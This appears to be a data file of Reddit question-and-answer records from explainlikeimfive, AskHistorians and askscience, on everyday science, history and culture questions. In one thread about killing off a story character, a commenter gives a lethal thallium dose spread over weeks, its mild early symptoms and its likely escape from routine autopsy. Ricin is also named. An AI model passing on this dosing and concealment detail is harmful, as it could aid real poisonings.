{"q_id": "6jwwi0", "title": "what happens to a jet engine if a coin is thrown into the intake and the engine is started?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6jwwi0/eli5_what_happens_to_a_jet_engine_if_a_coin_is/", "answers": {"a_id": ["djhqqgg"], "score": [2], "text": ["A single coin? Probably not much. They do design and test engines to be able to tolerate some debris getting ingested. They actually shoot frozen chickens into them to simulate bird strikes. There have even been instances where they've survived getting choked with volcanic ash and pumice\n\nNot to say a coin wouldn't do any damage. If it gets sucked into the duct, it might chip the blades but get blown out the back. Into the core, it'll probably liquefy and and cake on to the walls or turbine blades. When the engine cools, it'll fall out. Probably need some maintenance afterwards. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "72bl50", "title": "how do people who end up in viral videos and/or memes suddenly become rich? where does the money come from? (i.e. the \u201ccash me outside\u201d girl, and others)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/72bl50/eli5_how_do_people_who_end_up_in_viral_videos/", "answers": {"a_id": ["dnh9ejp", "dnhbmtt", "dnhbvnv", "dnhciek", "dnhcs19", "dnhd3bz", "dnhd8bx", "dnhd8yy", "dnhecuo", "dnhf6wo", "dnhfluh", "dnhg6zb", "dnhjmrb"], "score": [207, 174, 121, 2402, 31, 13, 50, 154, 2, 4, 156, 3, 2], "text": ["Ads.\n\n & nbsp;\n\nTake a YouTube video for example. Once a YouTuber gets enough subscribers and views on their videos, they have the option to enable ads. Have you ever seen an ad on a video? Yes, those are the ones.\n\n & nbsp;\n\nWhat happens is that companies makes ads and pays YouTube to show them on their websites (and videos). When a video is posted, you can enable ads to show on the videos. When a viewer clicks the ad, the creator of the YouTuber will get a certain amount of money, and YouTube itself will get a certain amount of money. \n\n & nbsp;\n\nIn essence, the companies make the ad...pays YouTube to show them...viewers click on the ads....YouTube shares a small commission to the creator of the videos.", "Super famous internet stars (The Cash Me Outside girl especially) charge for appearances. Like to show up at an event ", "Adverts on online streaming services.\n\nEndorsing products for money.\n\nCharging appearance fees.", "So.    My sister in law works for a company that does this type of work.   When someone \u201cgoes viral\u201d her boss calls them and sees if they have representation.   Then they set them up a YouTube channel or other social media (not sure on this part)     They basically work like attorneys who are on commission.  If they can get money funneling to you they get a cut. \n\nThey also work with nightclubs and malls /stores and television news agencies to charge those people for appearances.   \n\nSo if Ellen heard about your video this company\u2019s job is to get to you before Ellen\u2019s people do so try can negotiate the fees for appearance. \n\nSo basically you make money off ads, appearances, selling video rights, and hopefully future videos or social media ", "Ads and selling out to corporations. The ladder goat guy is a perfect example of when a viral video doesn't make someone rich if they don't cave in to sponsors and selling out etc. (Source: Know the guy personally)", "It's basically the typical entrepreneur life.. exploit what got you famous, appearances in character, maybe a new or new characters, mobile apps, books, subscription based services .. a lot of these stars become serious musicians or actors as well even if they have no real talent.\n\nReally just comes down to how marketable someone's bs is at the time, then dragging it out as much as you can", "If a person has a large instagram following, they can get paid big money to post a picture of a product on their feed. Same for FB. Conor McGregor does this pretty regularly - he was pushing toothpaste a few days before the recent fight. It was literally the worst ad you've ever seen.", "in short?  merchandising.  People love a shit show, someone who's just too big, too crazy, too *much* to be real...\n\nThey also like people who are super lucky (right place at the right time) or the opposite.  \n\nOnce a great many people notice you, you have a certain worth, a certain value, if only of the novelty sort.\n\nBut someone who is smart, who has some business savvy and knows how people think, can snatch up this individual who is having their fifteen minutes of fame and stretch it out real thin (but so thin people can see though it, oh no!) so that it lasts a bit longer.  \n\nPeople also believe that lightning strikes twice.  Don't believe me?  check out how many people continue to play the lottery even after they've won even top dollar prizes.  \n\nRegular people: they buy into this cult of personality that the meme now represents.  they want to be \"in at the ground floor,\" so to speak.\n\nAnd show producers, networks, the music industry- they don't see a meme- they see a walking dollar sign that currently holds the admiration, revulsion, or ironic disdain of an enormous base of consumers.\n\nAnd so, we have rapping cash me ousside girl, and HIDE YOU WIFE T-shirts, and...well, just search the top threads of all time for reddit.  There's probably merchandise out there for more than half of them.", "If it's through YouTube, and it usually is, it's called the YouTube Partnership program. You basically agree to base your content on YouTube and they run ads through it and such. The people in the viral videos, the only thing they can possibly have of value is viewership. A viewer base. Hence, the ads. If you're interested in this, the YouTube partnership is the way to go. I don't agree with a lot of their shit, but that's where the numbers are at. You will need a decent viewer base to attain this though, so either a channel with a bunch of subscriptions OR you can have a company expedite the process for you if you have enough notoriety through a viral video or similar avenue. ", "My cousin has Bad Luck Brian as a client. Apparently he slaps his face on products and ads in other countries and makes some side money with these types of endorsements.\n\nEdit: typo", "My wife's picture went viral last year (\"Angry Splash Mountain Lady\") We didn't make any money off of it, but we did get a few phone calls and emails from some folks.  We had a few minor TV appearances, but we didn't get paid for them.  We did talk to a producer from \"Ellen\" when the whole thing happened in March of 2016.  They were really nice and we had a Skype convo, but nothing else ever came of it. Visit Orlando was nice enough to fly us and our family down for a weekend so we could have a \"re-do\" pic where I rode with her.  Every now and then, we'll get an email about it and we talk about our story a bit.  We've never made any money, but we got the chance to talk about kidney transplants, dialysis and organ donation a lot, which is pretty important to us.  10/10 would do it again!", "They don't automatically make any money. I have a friend who appears in a viral image that has circulated constantly for years, and he's never made any money off it. He hasn't really tried to, either, but it isn't as if money starts rolling in out of nowhere.", "Hey guys. I lost my house in a wildfire a year and a half ago. I took this video here.  _URL_0_\n\nIt went pretty viral in Canada for a few days. This company called Jukin media (Shitty company, don't sell your vids to them) called me up from Hollywood and asked to buy the rights to the video. They sell the video to places and give me 75% of the profits. \n\nThe biggest lesson I learnt, content IS money. All those click bait cute cat videos that get a million plus views? Thats cash. Youtube views, cash. My video was on Good Morning America to show a clip of how bad the fires were and I got like $300 for them using it for 10 seconds.\n\nThings like that. \n\nI could go into more detail but I comment won't scratch the surface anyways. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=DDE4q1fxp8U"]]}
{"q_id": "2t61nd", "title": "how do i place a gif in a comment", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2t61nd/eli5_how_do_i_place_a_gif_in_a_comment/", "answers": {"a_id": ["cnw08qg"], "score": [2], "text": ["This is going to be pretty dependent upon what phone app you're using. You should look up \"Markdown\" - it's the formatting code that reddit uses. Reddit has a pretty good guide on it at _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/wiki/commenting"]]}
{"q_id": "43ar7s", "title": "What were the most popular international pilgrimage destinations in the later Middle Ages?", "selftext": "On the net, all I seem to be able to find about is Santiago de Compostella.\n\nETA: pilgrimage destinations/routes", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/43ar7s/what_were_the_most_popular_international/", "answers": {"a_id": ["czgv9a0"], "score": [13], "text": ["The pilgrimage bucket list of 15th-16th century merchant Jacques Lesaige included Santiago de Compostella, Loreto (Italy--the Marian shrine Basilica della Santa Casa), Rome, and Jerusalem.\n\nAs far as routes to Jerusalem, the overland options of the early Middle Ages phased out (Ottomans on one hand; better ships on the other). Most people seem to have departed through Venice on Venetian galleys. Some left from Marseilles and ran into trouble with the Barbary pirates/kidnappers. One pilgrim noted that he preferred to leave from \"beautiful\" Genoa because the Genoese had nicer ships. The ships would typically hug the European coast and make stops in the Balkans. Some pilgrimage accounts mention Cyprus. The Middle Eastern point was Alexandria (where Western merchants had an established section of the city) or Jaffa (which was ruins with a harbor, at least according to the European accounts). Nobody has good things to say about the medieval version of customs (a \"swine cave\"). From there some pilgrims made a stop in Ramla to visit St. George's supposed grave; others went directly to Jerusalem."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2vbzp7", "title": "Why didn't the 13 Colonies just try to stretch themselves out West as far as possible instead of creating new states/territories?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2vbzp7/why_didnt_the_13_colonies_just_try_to_stretch/", "answers": {"a_id": ["coggic4", "coggt5l", "coh0rqd"], "score": [26, 134, 2], "text": ["Actually they did, however the Northwest Ordinance reorganized them as territories. Wikipedia ( I know not the best source but has a nice illustration) has a [nice map](_URL_0_) showing how the states claimed the west. The old Southwest would also be ceded to the federal government after a dispute with Spain was settled. This was to allow for the creation of new states and better organized systems of governance in the region.  ", "They tried.\n\nMany states had extensive land claims in the west - Connecticut claimed a band of territory bypassing New York and stretching to the Pacific, and sent settlers to what is now Pennsylvania's Wyoming valley and the area around Cleveland in Ohio.  Massachusetts made a similar claim to portions of Michigan and western New York, while Virginia claimed the whole Old Northwest (or modern Midwest).\n\nIn this context of overlapping territorial claims based on unclear colonial charters, which at times even led to bloodshed, and the prospect that those states which had extensive western claims - already the most populous in the union - would gain even more lopsided influence, congress acted to create new states out of most of the disputed territory.  (The rest became the western portions of New York and Pennsylvania.)", "This map shows them extending infinitely to the west. \n\n[British  &  French dominions in North America, Mitchell, 1755](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Northwest_Territory#mediaviewer/File:United_States_land_claims_and_cessions_1782-1802.png"], [], ["http://reevesmaps.com/maps/map380.jpg"]]}
{"q_id": "6p8ioo", "title": "why are some websites transitioning to video content over articles when users say they'd rather read?", "selftext": "Over the last few months, some sites (Fox Sports, Vice, MTV, etc.) have laid off writers to instead focus on video content. From what I have seen, users still want to read content. And if an article like [this](_URL_0_) is true, it's even users in key demographics. So why is there such a push to move away from what people say they want?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6p8ioo/eli5_why_are_some_websites_transitioning_to_video/", "answers": {"a_id": ["dkncrqh", "dknddpq", "dkneo15", "dknmqhe", "dko07ff"], "score": [15, 2, 3, 3, 2], "text": ["It's easier, and of more financial benefit, to make \"readers\" watch an ad than read one.  And, in the end, those sites are more about the financial benefit than they are about actually providing information (the info is a tease to get you to come see the ads, just like on TV).  Or, maybe that last comment was because I'm kind of cynical....", "Because free readers aren't the client, they're the product.  Advertisers would prefer video ads, and they're paying the bills so they are much more likely to get what they want, as long as the site can continue to pull in the product.  ", "1) Video ads pay out better than banner ads and are less likely to be blocked.\n\n2) Page view time. If you're reading an article, you might read the first couple of paragraphs in 10 seconds and then click away, but if you stay for a whole video, you dramatically increase the time you've spent on their site, which lets them brag to advertisers about the impressions they'll get.", "There's a few reasons.  First is what consumers say they want vs what they actually want are often not the same thing.  In addition certian minorities of users tend to be much more vocal than large masses of people who just consume content.\n\nSo say you have a print article that gets 5,000 views.  It's really long but people who read it loved it.  Next article you decide to do a video.  Your print readers are really pissed off because they loved that long format article.  The video gets 500,000 views...  Both took you the same time to create.\n\nThe ad rates for banner ads (or other kinds of click ads) are incredibly low.  Consumers basically just pass their eyes over the add without even seeing it.  For the most part, the adds are ignored and therefore they don't pay very well.  On the other hand, unskippable pre-roll video ads are hard to ignore AND get much better click through rates.  So they tend to pay a lot more to the content creator per view.\n\nSo video ads make more money per view, and while consumers say they prefer print, videos actually get more views.  So more money per view and more views mean videos make considerably more than print articles.  Videos are more expensive to create but the return is also generally better.  So lots of content creation people are pushing to create videos.\n\nLast reason is the distribution model.  The fact is that Facebook drives a HUGE amount of users to most content creators.  Facebook has made it clear that they are making video content more of a priority than a simple print.  So that means, even more, potential viewers. ", "Some good answers here. Apart from ad revenues and consumers saying what they really want, there's a third reason: news videos are easy to make and easier to bring to an audience. First, there's less text. \"Stories\" can be easily consumed on a portable device on the go, which is increasingly how news is consumed these days. (Ad revenues totally factor into that.) Perhaps most importantly is that these videos are easy to automate. They require fewer humans. Computers can actually make a lot of the video news we see. Arguably all of this information has to come from somewhere, but the cut and finished written product takes more man hours from investigation to writing to editing to publishing than a computerized video, hence it is more expensive. That is especially the case when outlets are passing off news videos as original investigative content when they have likely copied and pasted the majority of the story. \n\nYes, we are heading to an automated world. News is no exception, and until our generation puts down our cellphones long enough to realize we are sacrificing so much, we will continue to get products like news videos that might be largely unwanted but fit into our consumptive behavior. "]}, "title_urls": [], "selftext_urls": ["https://www.digitaltrends.com/web/young-americans-prefer-to-read/"], "answers_urls": [[], [], [], [], []]}
{"q_id": "x0tr4", "title": "what is the consequence of a judge overturning the ruling of the jury?", "selftext": "And under what conditions is that allowed? \n\n**EDIT: I'm from the USA**, but I don't mind hearing about other country's judicial systems. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/x0tr4/what_is_the_consequence_of_a_judge_overturning/", "answers": {"a_id": ["c5i5z9j", "c5i63kx", "c5i7djk", "c5i9x1t"], "score": [2, 4, 3, 3], "text": ["In which country?", "It depends on if it is a criminal trial or a civil lawsuit.  \n\nIn a criminal trial, never.  The jury's decision is final.  But, the judge can throw a case out of court and not let it ever get to the jury if there isn't enough evidence.\n\nIn a civil lawsuit, the judge can overturn a jury when the jury verdict is unreasonable and cannot possibly be based on the evidence. If this happens, the judge can enter judgement notwithstanding the verdict overturning the jury finding.  This should only happen when both sides agree on what happened, so there isn't any dispute about facts, or when one side disputes the other's story, but has zero evidence.", "In Canada.  Judges can't 'overturn' rulings of a trial, they can say the jury was allowed to see evidence which was invalid (ie Police broke laws in obtaining said evidence) or weren't allowed to see evidence that was valid.  The result of this is a retrial with a new jury.\n\nJudges can also declare the law unconstitutional, which means 1) the defendant walks 2) the law that the defendant was accused of breaking is no longer a law.", "Since you didn't mind hearing about other countries (Sweden): We only have jurys for freedom of speech cases, and they need a supermajority (6/9) to decide that whatever is discussed is criminal, but they have no say in sentencing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "6nx4mf", "title": "why are \"moscow mules\" always served in a copper mug - what is special about the mug?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6nx4mf/eli5_why_are_moscow_mules_always_served_in_a/", "answers": {"a_id": ["dkcweg7", "dkcwg73", "dkd5nly", "dkdb9fm", "dkdb9m1", "dkdcma1", "dkdetu1", "dkdk3tv", "dkdmamg", "dkdmh58", "dkdxgl5"], "score": [196, 160, 25, 11, 42, 218, 2, 9, 14, 4, 2], "text": ["The salesman John G. Martin traveled around the country selling Smirnoff vodka and created promotional photos with bartenders using a specialty copper mug. The copper mug serving vessel remained popular from that.", "The story goes that the people who invented it worked for Smirnoff Vodka and went around getting pictures at different bars with a copper mug - the mug was a part of the marketing and [became instantly connected with the drink](_URL_0_).\n\nAnother version of the story I've seen floating around is that three guys were drinking together when they first mixed up the cocktail - the owner of Smirnoff, the owner of C & B Ginger Beer, and a guy who sold copper wares.  So they put it all together and made a killing!", "Bartender here, it's always been explained to me that with a \"proper\" Moscow Mule, it's about the reaction between the copper mug and the acidity of the fresh lime juice. I state the \"proper\" bit because in many bars, the extreme cost of full copper mugs compared with much cheaper stainless steel mugs with just an outer copper coating, means that many bars go with the latter given how easily these mugs tend to \"walk off\" as it is. The aesthetic is right and very few people know (as you've just asked) why they're in a copper mug in the 1st place. ", "^(originally because of coincidence, a woman named Sophie Berezinsk who was trying to sell her father's copper mugs tried to sell them to John G. Martin-- the inventor of the moscow mule. he saw the marketing opportunity of a unique image/gimmick to serve his new drink in a mug that kept it cold. it took off from there.)", "Was a bartender for a decade. It's honestly just a bullshit marketing thing. Anyone saying otherwise is being fed a line. That's basically the story I've heard from liquor reps. It's aesthetically pleasing and easily identifiable.", "The reasoning that the mug gets cold is obviously a good thing, but that implies that copper has a very high exchange rate of temperature. It does, that's why they use copper for computer heatsinks. Very good at heat transfer. Which is bad. Your drink will get warmer faster and your body heat will transfer to the drink faster than a glass. If you drink it fast, great, if you spend more than a few minutes, nope. Basic physics.", "There is a lore saying the lime juice in the drink reacts with the copper in the cup and makes a primitive battery that enhances your experience. But in reality probably doesn't do much of anything. ", "The mug was marketing.  Jack Morgan of the Cock n' Bull Tavern was involved with a woman who made copper mugs.  The drink and its signature vessel provided a convenient way to sell his ginger beer, the as-yet not popular exotic Russian Vodka, and his ladyfriend's crafts.  ", "\"It can be definitely stated that the main reason to serve Moscow Mule in copper mugs, is the presentation. Like any other well prepared drink, when it was prepared for the first time, Moscow Mule also needed a distinctive look.  So the inventors served the drink in specially made copper mugs, and circulated photographs of celebrities drinking them to increase the popularity of the drink.\"\n\n_URL_0_", "_URL_0_\n\nBecause the guy who came up with the drink had a girlfriend that dealt with copper products. \n\nIt is a gimmick. The copper is flashy and people think it does something to the drink. ", "Not sure if its all mental, but the first time I made mules I made them for a couple friends, but only had 2 mugs, so I drank out of a glass.  They said they were good, I thought mine kinda sucked.  Next time, I used one of the mugs and it tasted way better, and I drink them fairly regularly now.  I think the copper touching your mouth gives off a little bit of a flavor that goes well with the drink.  Similar to the way people prefer coke in either plastic, can or glass.  Like I said though, it may be more mental than anything."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://cdn2.bigcommerce.com/server5400/271b7/product_images/uploaded_images/5303072c337d2_coppermugs-smirnoff.jpg?t=1398725710"], [], [], [], [], [], [], ["http://copperdrinkingmugs.com/need-copper-mug-moscow-mule/"], ["http://www.liquor.com/articles/behind-the-drink-the-moscow-mule/#gs.TgEc0DU"], []]}
{"q_id": "2bzzyt", "title": "Good resources for 16th century Spanish attire?", "selftext": "What are good resources for researching 16th (particularly mid to late) century Spanish attire? What were the fashions, the materials, and how many clothes did they have? I'm looking for references for the rich, the ordinary, the soldiers, and the other occupations. Thank you!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2bzzyt/good_resources_for_16th_century_spanish_attire/", "answers": {"a_id": ["cjaojni"], "score": [2], "text": ["I don't know of any books specific to that location and time (The Tudor Tailor series and Janet Arnolds Patterns of Fashion 3 & 4 cover the period in England in terms of construction). So, we'll take each item separately. In terms of researching the fashions, the rich and the military will be the easiest. Surviving examples of clothing in museums such as [this ensemble at the Met](_URL_2_) or [this one in Munich](_URL_1_) won't be overly common that far back, but paired with portraiture it can give you a good idea of the wealthy and fashionable. Artworks can be found many places from [museums](_URL_3_), to wikipedias art gallery, or even pinterest. Once you get to know a few artists names you can search from there. While there will certainly be distinct Spanish fashions, the garments will rarely be entirely unique to the area, so research the time periods garments and terms to start.\n\nAs for the lower classes, that isn't an easy thing to research that far back. Occasional prints/sketches can be found [such as this German print of Spanish ladies circa 1540](_URL_0_), but you need a working understanding of the garments you're looking at first. Interpreting art can be difficult. Check for books around that time, many still have prints and imagery in them.\n\nWhen it comes to the textiles available you'll be looking for wool, silk, linen, and cotton. The basic history of each can be researched fairly easily. With trade routes well established through Europe, this is not something you need to think of as specifically Spanish unless you're researching at an extremely detailed level. For example, Spain monopolized the merino wool industry from the 12th to 16th centuries. Other wools would have been available, but this might have an effect on a person in the particular areas where that industry could be found. Or that cotton was first brought to Spain as early as the 9th century by the Moors, before it was common in the rest of Europe.\n\nAs for what was in the average persons closet, it's impossible to say. I couldn't tell you how much clothing the average person owns today, either. The most important thing for any person to have multiples of is their undergarments. Shirts and chemises should be changed very regularly (daily or more), so everyone should have a good supply of those. Outer garments it's of course preferable to have at least two or three ensembles in case something is being cleaned or fixed. As for those with wealth or the desire to be fashionable (you don't need both, but it helps) they could have dozens of garments."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sempstress.org/2010/well-now-this-is-interesting/", "http://www.kostym.cz/Anglicky/1_Originaly/02_Renesancni/I_02_12.htm", "http://www.metmuseum.org/collection/the-collection-online/search/98291", "https://www.museodelprado.es/en/the-collection/online-gallery/on-line-gallery/zoom/1/obra/isabel-de-valois-third-wife-of-felipe-ii/oimg/0/"]]}
{"q_id": "2yosi4", "title": "why are there speed limit signs that say \"end 45mph\" instead of just posting the new speed limit?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2yosi4/eli5_why_are_there_speed_limit_signs_that_say_end/", "answers": {"a_id": ["cpbiesf", "cpbkhkj", "cpbl5jp", "cpblzcq", "cpbredx"], "score": [12, 6, 3, 2, 8], "text": ["I have no idea why they do that but it switches to the state speed limit in That case.  In NY where I am it's 55 mph.", "Could it be when truck drivers need to be at a diffrent speed because of grade of the slope? So when they pace a certin point then their speed limit ends?", "This is commonly used for temporary purposes such as road work and the like where the speed limit is reduced for safety reasons.\n", "Maybe it signals a switch to a \"default\" speed limit.\n\nIn the UK, outside \"built-up\" (i.e. cities/towns/villages) areas the default limit is 60mph. The limit occasionally changes to 50 or 40 for various reasons, but there have to be smaller \"repeater\" speed limit signs after the main sign.  \n\nWhen the speed limit goes back the default 60mph limit, the sign is a black line through a white circle, rather than a sign with \"60\" on it.", "This is because most if not all States have a \"standard\" statutory speed limit that applies to all kinds of roads of a particular kind. So when the speed limit \"ends\" then the speed limit returns to whatever the statute book says the speed limit is for that kind of road (thus the legal distinction between speed limit and *posted* speed limit).\n\nStates do this because they are required to give notice of all speed limits and it would be prohibitively expensive to post a speed a speed sign at every possible stretch of road that a person could turn onto."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "643t1d", "title": "why wasn't the world settled west to east?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/643t1d/eli5_why_wasnt_the_world_settled_west_to_east/", "answers": {"a_id": ["dfz6mpr"], "score": [2], "text": ["There were actually people in the Americas before Europeans came over the atlantic and evidence suggests that they came over the Bering Straight land bridge from russia to alaska when the sea was lower due to half the world being covered in glaciers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "hu9ui", "title": "Writing a short story, need help killing one of the characters!", "selftext": "Need an untreatable disease, poison or other that will kill someone in a short time but have very few side effects prior to death - time frame needs to be between 1 and 4ish weeks. I can deal with wheelchairs and things that show a depletion of health, but I'd like the character to remain cognizant to the very end.  \n\n*Edit:\nTo be fair this should be something accidental rather than nefarious - I need the character to die, but without malice - thanks to iorgfeflkd for making me think of that...\n\n*Edit #2 : You folks are great - there are lots of cool ideas here and I think I may be able to work with a few of them - I knew this would be the group that could get me on track!!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hu9ui/writing_a_short_story_need_help_killing_one_of/", "answers": {"a_id": ["c1yf6xx", "c1yf9u4", "c1yfo52", "c1yfq21", "c1yfqpz", "c1yfvvh", "c1yg7hb", "c1yg9kr", "c1yhzwk"], "score": [9, 6, 10, 3, 2, 3, 3, 2, 2], "text": ["Viral [myocarditis](_URL_0_).  The disease itself is common, but some people get it really bad and die.  \n\nIt's a virus, so antibiotics don't work.  You would have chest pain, fatigue, and shortness of breath, but you would be completely aware.\n\nThe people that die are the ones whose hearts are completely ruined.  A heart transplant is the only cure.", "My only contribution: _URL_0_", "Mushroom poisoning. It will cause liver failure, but the patient will be aware and alive the whole time until they die, usually 2 weeks or so after ingestion.", "Brain aneurysm? Occasionally people have them and literally drop dead. They can sit in your head your entire life as a ticking time bomb. ", "Does he need to be ill with and die from the same thing?  You could have something that puts the guy in a hospital or wheelchair for a week or so and then have him have a pulmonary embolism, stroke or heart attack.  Unfortunately, that happens in \"real life\" pretty commonly.  For instance, the guy gets in a traffic accident, has to stay in the hospital and then develops an acute PE and dies instantly.  Besides whatever trauma happened to him in the accident he would be mentally unaffected.  ", "MOM?!?!\n\nNo, seriously, [Ricin](_URL_0_).  It's a little violent, but that shit kills.  No antidote.", "Heavy water poisoning: _URL_0_\n\nBasically heavy water is water with an isotope of hydrogen. It is chemically identical to water in every way, but because of its extra heavy hydrogen atom, it totally screws with your body. At about 50% saturation, you die.\n\nOnly problem: heavy water is almost impossible to obtain.\n\nedit*-oop, ignore that, I didnt see the part about not being nefarious.", "Low-dose thallium ingestion. Acute exposure will eventually kill at a concentration of 10-15mg/kg, which can be administered over a 1-2 week period of time. The symptoms are fairly mild, early-on, anyway- some gastrointestinal issues, lethargy, neuropathy, etc. After a couple weeks hair starts falling out and death comes soon after. Only in very high doses does visual hallucinations and loss of cognitive abilities occur. It has a number of legitimate uses in chemical research and product development and most likely wouldn't be assayed during a normal autopsy unless exposure was suspected.  ", "The main character should be hit by a bus while saving a small child riding a bike. He then dies shortly after in the hospital because a piece of his watch which was embedded in one of his arteries gets dislodged and causes a myocardial infarction. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Myocarditis"], ["http://en.wikipedia.org/wiki/Louis_Slotin"], [], [], [], ["http://en.wikipedia.org/wiki/Ricin"], ["http://en.wikipedia.org/wiki/Heavy_water#Effect_on_biological_systems"], [], []]}
{"q_id": "3gz1ph", "title": "Was it possible for an 18th century soldier to make a bit of extra, legally, on the side?", "selftext": "What would this \"side business\" look like if permitted? Was bounty-hunting / mercenary work open to soldiers, or covered by others? How was it perceived?\n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3gz1ph/was_it_possible_for_an_18th_century_soldier_to/", "answers": {"a_id": ["cu2vcg9", "cu3023t"], "score": [6, 7], "text": ["The life of an 18th century soldier was dull and painful. Unlike soldiers now, more emphasis was placed on movement and obeying orders than straight out martial skills such as marksmanship and hand to hand combat. Think of an 18th century soldier more as a machine than a soldier, since it was ideal for them to all march the same way and fire the same way. Thus it wouldn't be possible to be a bounty hunter since they wouldn't have the necessary skills.\n\nWith that said, it was possible for soldiers to have a side job, but usually organized by their commanding officer and for the profit of the commanding officer. These jobs would usually be construction jobs (since soldiers were more machine than man, doing exactly what they were told) and got a very small portion of the pay which might be on top of the pay they were already getting from the State, if the commander was nice. Beyond that, a soldier wasn't allowed to do much or stray far from the regimental barracks during peace time.\n\nThere were mercenaries but they were more of the same, except they were for hire by their commanding officer. They would usually be paid better and better trained with the Swiss Guard of the King being the most famous group outside of the Hessians hired by the British.", "Usually nothing so exciting. This answer will deal exclusively with the role of the British Army in peacetime during the eighteenth century. The composition and the individual careers of soldiers on campaign differed markedly from their conditions in peace. In peace time, battalions were billeted over a wide stretch of territory. For training, they performed the manual exercise in small detachments, and rarely mustering with the rest of the battalion except for annual inspections. Multi-battalion exercises were almost unknown until the American War of Independence.^1 Such an arrangement was hardly conducive to maintaining unit cohesion, and it took a significant push on the part of the regimental commanders to make a regiment 'Fit for Service'. In the mean time, soldiers could be kept busy by any number of means. The army in the 18th century was employed in lieu of a police force: Soldiers were deployed against smugglers in the West and served as a an aid to the civil power against riotous mobs, duties which the historian Alan J. Guy aptly terms \"the Georgian equivalent of low intensity operations.\" In Ireland and Scotland, the army served as a garrison, in the latter, acting almost as an occupying force well into the 1750's.\n\nSoldiers filled their downtime by working menial jobs, which supplemented their meager pay. In towns, these would have  been jobs in the trade which the soldier had previously worked prior to enlistment, or else found seasonal agricultural employment in the country. Guy notes that \"the coming of the harvest saw regiments hit by outbreaks of short-term desertion which... Were often treated with remarkable tolerance.\" There was a distinction Within the regiment, tailors would be employed in fitting the annual clothing issue-- though Bennet Cutbertson, a well known military author of the period, stated they should receive no extra pay for this duty. In Scotland, the army constructed roads, for which they received no extra pay. In Boston in 1770, soldiers took unskilled jobs at lower wages than those of the city's laborers, which did nothing to ingratiate the army in the eyes of the American colonists, and the practice was later forbidden. \n\nFor further reading see:\n\nSylvia R. Frey, *The British Soldier in America: A Social History of Military Life in the Revolutionary Period*\n\nAlan J. Guy, \"The Army of the Georges\" in *The Oxford History of the British Army*\n\nJ.A. Houlding, *Fit For Service: The Training of the British Army 1715-1795*\n\n^1 The Camps of Exercise at Coxheath and Warley, first held in 1778 and more or less regularly thereafter, provided a space in which the army and militia could drill and perform maneuvers in formations exceeding the battalion level."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3561sb", "title": "is the awareness that you will die learned through observation or is it instinctual?", "selftext": "Presumably everyone learns what death is these days by being taught it or encountering the concept in books, TV, witnessing it firsthand, and so forth. But let's assume someone grows up in a locked room without ever coming into contact with any living thing. Would that person eventually develop an awareness that he/she can die?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3561sb/eli5_is_the_awareness_that_you_will_die_learned/", "answers": {"a_id": ["cr1b3sm", "cr1bw3g", "cr1iwm1"], "score": [6, 2, 2], "text": ["I don't think he will be aware that he can die.He hasn't learned it anywhere, or that its even possible. I think he'll just feel crappy, not knowing what its called, and scared. Nor know that there's more outside the room. He will just die without knowing what the concept means or is called.\n\nHowever i do think he instinctively knows that something isn't right.\n", "This is a brilliant question, I must say.\n\nI'd have to say that it's definitely a learned behavior. There's no reason for there to be an instinct involving death because instinct is specifically there to help you thrive.\n\nIf your instinct was telling you you're going to die someday, it wouldn't be a very effective instinct, if you ask me.", "if we ignore the assumption that he is in an enclosed room, but rather say living in a time where population is very small, and thus there was no one (experience) that taught him about death.\n\nHe would still likely know about pain, and wouldn't simply jump off a cliff in fear of extreme pain. But that still doesn't mean he's aware of death. There might be a suspense as to what extreme pain might do. So either he might inflict pain on others or himself, in which case he will become 'self-aware' of death.\n\nTLDR; only the scientists will know about death"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
